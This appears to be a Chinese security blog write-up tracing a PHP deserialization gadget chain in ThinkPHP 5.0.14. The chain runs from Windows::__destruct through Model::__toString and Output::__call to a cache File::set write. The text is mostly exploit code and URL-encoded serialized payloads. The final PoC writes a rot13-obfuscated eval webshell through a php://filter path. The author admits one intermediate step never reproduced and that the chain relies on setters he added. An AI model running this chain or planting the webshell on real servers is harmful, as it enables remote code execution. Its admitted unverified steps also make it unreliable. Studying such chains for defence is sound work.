ThinkPHP反序列化到rce 自己写一个source点作为漏洞入口
来到index.php文件,定义一个pop()方法
1 2 3 4 public function pop ( ) { unserialize (request ()->get ('dada' )); return "ok" ; }
思路分析 发现这里有unserialize反序列化函数
回顾一下相关的魔术方法
1 2 3 4 5 6 7 8 9 10 11 - __wakeup() //使用unserialize时触发 !! - __sleep() //使用serialize时触发 - destruct() //对象被销毁时触发 !! - __call() //在对象上下文中调用不可访问的方法时触发 !! - __callStatic() //在静态上下文中调用不可访问的方法时触发 - get() //用于从不可访问的属性读取数据 - __set() //用于将数据写⼊不可访问的属性 - isset() //在不可访问的属性上调用isset()或empty()触发 - __unset() //在不可访问的属性上使用unset ()时触发 - __toString() //把类当作字符串使用时触发,file_exists()判断也会触发 ! - __invoke() //当脚本尝试将对象调用为函数时触发
这里全局搜索destruct方法
来到thinkphp_5.0.14/thinkphp/library/think/process/pipes/Windows.php
1 2 3 4 5 public function __destruct ( ) { $this ->close (); $this ->removeFiles (); }
跟进removeFiles
这里是有一个任意文件删除的
1 2 3 4 5 6 7 8 9 private function removeFiles ( ) { foreach ($this ->files as $filename ) { if (file_exists ($filename )) { @unlink ($filename ); } } $this ->files = []; }
其中unlink函数会把传入参数默认为string类型去解析
如果传入的$filename不是string类型而是一个对象,就会触发toString 方法
全局搜索_toString
直接来到漏洞点
thinkphp_5.0.14/thinkphp/library/think/Model.php
1 2 3 4 public function __toString ( ) { return $this ->toJson (); }
跟进toJson
1 2 3 4 public function toJson ($options = JSON_UNESCAPED_UNICODE ) { return json_encode ($this ->toArray (), $options ); }
toArry
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 public function toArray ( ) { $item = []; $visible = []; $hidden = []; $data = array_merge ($this ->data, $this ->relation); if (!empty ($this ->visible)) { $array = $this ->parseAttr ($this ->visible, $visible ); $data = array_intersect_key ($data , array_flip ($array )); } elseif (!empty ($this ->hidden)) { $array = $this ->parseAttr ($this ->hidden, $hidden , false ); $data = array_diff_key ($data , array_flip ($array )); } foreach ($data as $key => $val ) { if ($val instanceof Model || $val instanceof ModelCollection) { $item [$key ] = $this ->subToArray ($val , $visible , $hidden , $key ); } elseif (is_array ($val ) && reset ($val ) instanceof Model) { $arr = []; foreach ($val as $k => $value ) { $arr [$k ] = $this ->subToArray ($value , $visible , $hidden , $key ); } $item [$key ] = $arr ; } else { $item [$key ] = $this ->getAttr ($key ); } } if (!empty ($this ->append)) { foreach ($this ->append as $key => $name ) { if (is_array ($name )) { $relation = $this ->getAttr ($key ); $item [$key ] = $relation ->append ($name )->toArray (); } elseif (strpos ($name , '.' )) { list ($key , $attr ) = explode ('.' , $name ); $relation = $this ->getAttr ($key ); $item [$key ] = $relation ->append ([$attr ])->toArray (); } else { $relation = Loader ::parseName ($name , 1 , false ); if (method_exists ($this , $relation )) { $modelRelation = $this ->$relation (); $value = $this ->getRelationData ($modelRelation ); if (method_exists ($modelRelation , 'getBindAttr' )) { $bindAttr = $modelRelation ->getBindAttr (); if ($bindAttr ) { foreach ($bindAttr as $key => $attr ) { $key = is_numeric ($key ) ? $attr : $key ; if (isset ($this ->data[$key ])) { throw new Exception ('bind attr has exists:' . $key ); } else { $item [$key ] = $value ? $value ->getAttr ($attr ) : null ; } } continue ; } } $item [$name ] = $value ; } else { $item [$name ] = $this ->getAttr ($name ); } } } } return !empty ($item ) ? $item : []; }
关注到这行语句
1 $item [$key ] = $value ? $value ->getAttr ($attr ) : null ;
如果value是可控的
那么接下来有两种思路
调用任意一个对象(类)的getAttr方法(该对象存在)
调用任意一个类的_call方法(假定该对象不存在)
看一下value是怎么取出来的
1 2 3 4 $relation = Loader ::parseName ($name , 1 , false ); if (method_exists ($this , $relation )) { $modelRelation = $this ->$relation (); $value = $this ->getRelationData ($modelRelation );
动态调试一下看看整个流程
poc编写 先写一个开头,能够顺利进入pop方法
1 2 3 4 5 public function poc ( ) { $windows =new \think\process\pipes\Windows (true ,"" ); $poc =urlencode (serialize ($windows )); return $poc ; }
得到序列化后的对象
1 O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A8%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A0%3A%7B%7Ds%3A40%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00fileHandles%22%3Ba%3A0%3A%7B%7Ds%3A38%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00readBytes%22%3Ba%3A2%3A%7Bi%3A1%3Bi%3A0%3Bi%3A2%3Bi%3A0%3B%7Ds%3A42%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00disableOutput%22%3Bb%3A1%3Bs%3A5%3A%22pipes%22%3Ba%3A0%3A%7B%7Ds%3A14%3A%22%00%2A%00inputBuffer%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00%2A%00input%22%3BN%3Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CPipes%00blocked%22%3Bb%3A1%3B%7D
访问url
1 http://localhost/thinkphp_5.0.14/public/index.php/index/index/pop?dada=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A8%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A0%3A%7B%7Ds%3A40%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00fileHandles%22%3Ba%3A0%3A%7B%7Ds%3A38%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00readBytes%22%3Ba%3A2%3A%7Bi%3A1%3Bi%3A0%3Bi%3A2%3Bi%3A0%3B%7Ds%3A42%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00disableOutput%22%3Bb%3A1%3Bs%3A5%3A%22pipes%22%3Ba%3A0%3A%7B%7Ds%3A14%3A%22%00%2A%00inputBuffer%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00%2A%00input%22%3BN%3Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CPipes%00blocked%22%3Bb%3A1%3B%7D
debug一下,发现能顺利断在我们下的断点处
下一步会走到我们下断点的_destruct方法
进入removeFiles方法,尝试传入$filename参数
$filename是一个私有变量
但是php是没有反射的能让我们反射修改变量
这里严谨一点生成一个filename的setter方法供我们调用
继续编写poc
1 2 3 4 5 6 7 public function poc ( ) { $windows =new \think\process\pipes\Windows (true ,"" ); $windows ->setFiles (array ()); $poc =urlencode (serialize ($windows )); return $poc ; }
按照刚刚分析的思路,下一步会走到Model类的toString方法
先示例化一下Model类
但是这里Model类是一个抽象类,无法直接实例化
1 abstract class Model implements \JsonSerializable , \ArrayAccess
找到Model类的一个实现类Pivot,我们实例化这个类
将$model作为参数放入setFiles中,对应我们刚刚分析的给unlink传入一个对象,触发该对象的toString方法
1 2 3 4 5 6 7 public function poc ( ) { $model =new \think\model\Pivot (); $windows =new \think\process\pipes\Windows (true ,"" ); $windows ->setFiles (array ($model )); $poc =urlencode (serialize ($windows )); return $poc ; }
依旧访问url执行poc方法
得到序列化后的对象
1 O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A8%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A35%3A%7Bs%3A6%3A%22parent%22%3BN%3Bs%3A21%3A%22%00%2A%00autoWriteTimestamp%22%3Bb%3A0%3Bs%3A13%3A%22%00%2A%00connection%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00query%22%3BN%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A5%3A%22Pivot%22%3Bs%3A8%3A%22%00%2A%00table%22%3BN%3Bs%3A8%3A%22%00%2A%00class%22%3Bs%3A17%3A%22think%5Cmodel%5CPivot%22%3Bs%3A8%3A%22%00%2A%00error%22%3BN%3Bs%3A11%3A%22%00%2A%00validate%22%3BN%3Bs%3A5%3A%22%00%2A%00pk%22%3BN%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00except%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00disuse%22%3Ba%3A0%3A%7B%7Ds%3A11%3A%22%00%2A%00readonly%22%3Ba%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00append%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00data%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00origin%22%3Ba%3A0%3A%7B%7Ds%3A11%3A%22%00%2A%00relation%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00auto%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00insert%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00update%22%3Ba%3A0%3A%7B%7Ds%3A13%3A%22%00%2A%00createTime%22%3Bs%3A11%3A%22create_time%22%3Bs%3A13%3A%22%00%2A%00updateTime%22%3Bs%3A11%3A%22update_time%22%3Bs%3A13%3A%22%00%2A%00dateFormat%22%3Bs%3A11%3A%22Y-m-d+H%3Ai%3As%22%3Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A0%3A%7B%7Ds%3A11%3A%22%00%2A%00isUpdate%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00force%22%3Bb%3A0%3Bs%3A14%3A%22%00%2A%00updateWhere%22%3BN%3Bs%3A16%3A%22%00%2A%00failException%22%3Bb%3A0%3Bs%3A17%3A%22%00%2A%00useGlobalScope%22%3Bb%3A1%3Bs%3A16%3A%22%00%2A%00batchValidate%22%3Bb%3A0%3Bs%3A16%3A%22%00%2A%00resultSetType%22%3Bs%3A5%3A%22array%22%3Bs%3A16%3A%22%00%2A%00relationWrite%22%3BN%3B%7D%7Ds%3A40%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00fileHandles%22%3Ba%3A0%3A%7B%7Ds%3A38%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00readBytes%22%3Ba%3A2%3A%7Bi%3A1%3Bi%3A0%3Bi%3A2%3Bi%3A0%3B%7Ds%3A42%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00disableOutput%22%3Bb%3A1%3Bs%3A5%3A%22pipes%22%3Ba%3A0%3A%7B%7Ds%3A14%3A%22%00%2A%00inputBuffer%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00%2A%00input%22%3BN%3Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CPipes%00blocked%22%3Bb%3A1%3B%7D
把序列化数据传入dada变量
动调一下看看
能看到这里会按照我们预想的一样进入toArray方法
接下来我们看看能否控制value变量
1 2 3 4 $relation = Loader ::parseName ($name , 1 , false );if (method_exists ($this , $relation )) { $modelRelation = $this ->$relation (); $value = $this ->getRelationData ($modelRelation );
从代码上可以初步判断value的获取过程
$value->$modelRelation->$relation->$name
$name是从append中获得
1 foreach ($this ->append as $key => $name )
下一个断点在这里查看能否顺利进入有关append的代码
发现走到这里就跳过了,因为我们还没有对append赋值
生成setter函数,我们在poc中调用setAppend对其赋值
1 2 3 4 5 6 7 8 public function poc ( ) { $model =new \think\model\Pivot (); $model ->setAppend (array ("a" =>"b" )); $windows =new \think\process\pipes\Windows (true ,"" ); $windows ->setFiles (array ($model )); $poc =urlencode (serialize ($windows )); return $poc ; }
动调时看到name是我们输入的b,所以这里的name是我们可控的,value我们同样可控
接下来的代码流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Loader ::parseName ($name , 1 , false )method_exists ($this , $relation ) $modelRelation = $this ->$relation () $value = $this ->getRelationData ($modelRelation )
也就是说我们这里可以通过控制name的值调用Model类的任意方法
1 $value = $this ->getRelationData ($modelRelation )
还需要调用的这个方法能够返回一个对象或者类
1 2 3 4 5 6 7 8 9 10 if (method_exists ($modelRelation , 'getBindAttr' )) { $bindAttr = $modelRelation ->getBindAttr (); if ($bindAttr ) { foreach ($bindAttr as $key => $attr ) { $key = is_numeric ($key ) ? $attr : $key ; if (isset ($this ->data[$key ])) { throw new Exception ('bind attr has exists:' . $key ); } else { $item [$key ] = $value ? $value ->getAttr ($attr ) : null ; }
联系后续代码发现,调用的方法返回的对象或者类还需要存在getBindAttr方法
同时我们需要在执行$this->getRelationData($modelRelation)时得到value可控
我们找到getError方法
在Model类中生成一个setError方法
寻找存在getBindAttr方法的类
找到OneToOne这个类存在getBindAttr方法
但是这是一个抽象类,我们选择实例化他的实现类HasOne
继续编写poc
1 2 3 4 5 6 7 8 9 10 11 public function poc ( ) { $model =new \think\model\Pivot (); $error = new \think\model\relation\HasOne (new \think\model\Pivot (), '\think\model\Pivot' ,"" ,"" ); $model ->setError ($error ); $model ->setAppend (array ("a" =>"getError" )); $windows =new \think\process\pipes\Windows (true ,"" ); $windows ->setFiles (array ($model )); $poc =urlencode (serialize ($windows )); return $poc ; }
看一下getRelationData方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected function getRelationData (Relation $modelRelation ) { if ($this ->parent && get_class ($this ->parent ) == $modelRelation ->getModel ()) { $value = $this ->parent ; } else { if (method_exists ($modelRelation , 'getRelation' )) { $value = $modelRelation ->getRelation (); } else { throw new BadMethodCallException ('method not exists:' . get_class ($modelRelation ) . '-> getRelation' ); } } return $value ; }
可以看到如果顺利返回$value那么就可以继续向下执行,调用HasOne类的不存在的getAttr方法,进而调用_call方法
现在我们来用一个完整的poc走到这一步(填充所有需要的参数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function poc ( ) { $model = new \think\model\Pivot (); $append = array ("a" =>"getError" ); $error = new \think\model\relation\BelongsTo (new \think\model\Merge (), '\think\model\Merge' ,"" ,"" ); $error ->setRelation (false ); $error ->setModel ("" ); $error ->setBindAttr (array ("test" =>"xx" )); $query = new \think\db\Query (); $query ->setModel (new \think\console\Output ()); $error ->setQuery ($query ); $output = new \think\console\Output (); $model ->setParent ($output ); $model ->setError ($error ); $model ->setAppend ($append ); $files = array ($model ); $window = new \think\process\pipes\Windows (true ,"" ); $window ->setFiles ($files ); $x = serialize ($window ); echo urlencode ($x ); }
这里没有复现成功
1 2 3 4 $value = $this ->getRelationData ($modelRelation ); ->$value = $modelRelation ->getRelation (); ->return $this ->getAttr ($name ); ->$value = $this ->getData ($name );
经过一些关键代码没有获取到value的值,报错为
1 Method think\model\Pivot ::__toString () must not throw an exception, caught think\exception\ErrorException : array_key_exists (): The first argument should be either a string or an integer
研究了很久没有解决,先跳过看看_call的调用
如果是正常执行,走到这一步
会去查找我们的$value设定的对象中有没有getAttr方法,我们刚刚找到的BelongsTo类中显然是没有的
那么我们就可以通过给一些参数赋值来调用一些类的_call方法
搜索语句
这里不做一一筛选,直接来到Output类
1 2 3 4 5 6 7 8 9 10 11 12 13 public function __call ($method, $args) { if (in_array($method, $this ->styles)) { array_unshift($args, $method); return call_user_func_array([$this , 'block' ], $args); } if ($this ->handle && method_exists($this ->handle, $method)) { return call_user_func_array([$this ->handle, $method], $args); } else { throw new Exception ('method not exists:' . __CLASS__ . '->' . $method); } }
可以看到这里有能够命令执行的函数call_user_func_array,$args,styles都是我们可控的
$method是getAttr
正常执行会调用到block方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected function block ($style , $message ) { $this ->writeln ("<{$style} >{$message} </$style >" ); }public function writeln ($messages , $type = self ::OUTPUT_NORMAL ) { $this ->write ($messages , true , $type ); }public function write ($messages , $newline = false , $type = self ::OUTPUT_NORMAL ) { $this ->handle->write ($messages , $newline , $type ); }
block方法会走到write方法,通过设置handle的值可以调用某些类的write方法,或者调用到_call方法
现在来搜索一下哪个类调用了write方法
来到Memcached类
1 2 3 4 public function write ($sessID , $sessData ) { return $this ->handler->set ($this ->config['session_name' ] . $sessID , $sessData , $this ->config['expire' ]); }
继续搜索哪个类有set方法
找到File类的set方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function set ($name, $value, $expire = null ) { if (is_null($expire)) { $expire = $this ->options['expire' ]; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this ->getCacheKey($name, true ); if ($this ->tag && !is_file($filename)) { $first = true ; } $data = serialize($value); if ($this ->options['data_compress' ] && function_exists('gzcompress' )) { $data = gzcompress($data, 3 ); } $data = "<?php\n//" . sprintf('%012d' , $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this ->setTagItem($filename); clearstatcache(); return true ; } else { return false ; } }
这里有一个写文件的操作
1 file_put_contents ($filename , $data )
主要关注$filename和$data是否可控
$filename来源于
1 $filename = $this ->getCacheKey ($name , true );
这里需要关注到一个函数setTagItem($filename)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected function setTagItem ($name ) { if ($this ->tag) { $key = 'tag_' . md5 ($this ->tag); $this ->tag = null ; if ($this ->has ($key )) { $value = explode (',' , $this ->get ($key )); $value [] = $name ; $value = implode (',' , array_unique ($value )); } else { $value = $name ; } $this ->set ($key , $value , 0 ); } }
跟进去发现这个函数中又执行了set函数,相当于整体上这个set函数会执行两遍
这里将文件名又放进set函数,但是这次文件名已经是$value,或者说可控点已经是 $value了
看过了$filename,现在来看看变量$data的情况
关注到这里
1 $data = "<?php\n//" . sprintf ('%012d' , $expire ) . "\n exit();?>\n" . $data ;
翻译: 构造最终写入缓存文件的内容:
1 2 3 4 <?php exit ();?> <序列化或压缩后的数据>
如果想办法能绕过函数exit();,传入php木马,那么就可以实现rce
简述一下执行流程:
set函数只执行了第一遍的时候,还没有加入缓存数据
这个缓存文件名字叫098f6bcd4621d373cade4e832627b4f6.php(名称随机)
此时的文件内容是
之后会进入到setTagItem函数,存储我们输入的文件名
此时的$value值就对应我们的文件名,如果把这个文件名改成木马,并且能够绕过exit()函数,就能成功实现rce
这里使用伪协议的方式来绕过:
1 2 https://zhuanlan.zhihu.com/p/410576800 https://blog.csdn.net/rfrder/article/details/113094542
最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php require __DIR__ . '/../thinkphp/base.php' ;$model = new \think\model\Pivot ();$append = array ("a" =>"getError" );$error = new \think\model\relation\BelongsTo (new \think\model\Merge (), '\think\model\Merge' ,"" ,"" );$error ->setSelfRelation (false );$error ->setModel ("" );$error ->setBindAttr (array ("test" =>"xx" ));$query = new \think\db\Query ();$query ->setModel (new \think\console\Output ());$error ->setQuery ($query );$output = new \think\console\Output ();$output ->setStyles (array ("getAttr" ));$handle1 = new \think\cache\driver\File ();$handle1 - >setOptions (array ('path' =>'php://filter/write=string.rot13/resource=<? cuc @riny($_TRG[_]);?>' ,"cache_subdir" =>false ,"prefix" =>false , 'data_compress' =>false ));$handle1 ->setTag ("abcd" );$handle2 = new \think\session\driver\Memcached ();$handle2 ->setHandler ($handle1 );$output ->setHandle ($handle2 );$model ->setParent ($output );$model ->setError ($error );$model ->setAppend ($append );$files = array ($model );$window = new \think\process\pipes\Windows (true ,"" );$window ->setFiles ($files );$x = serialize ($window );echo urlencode ($x );?>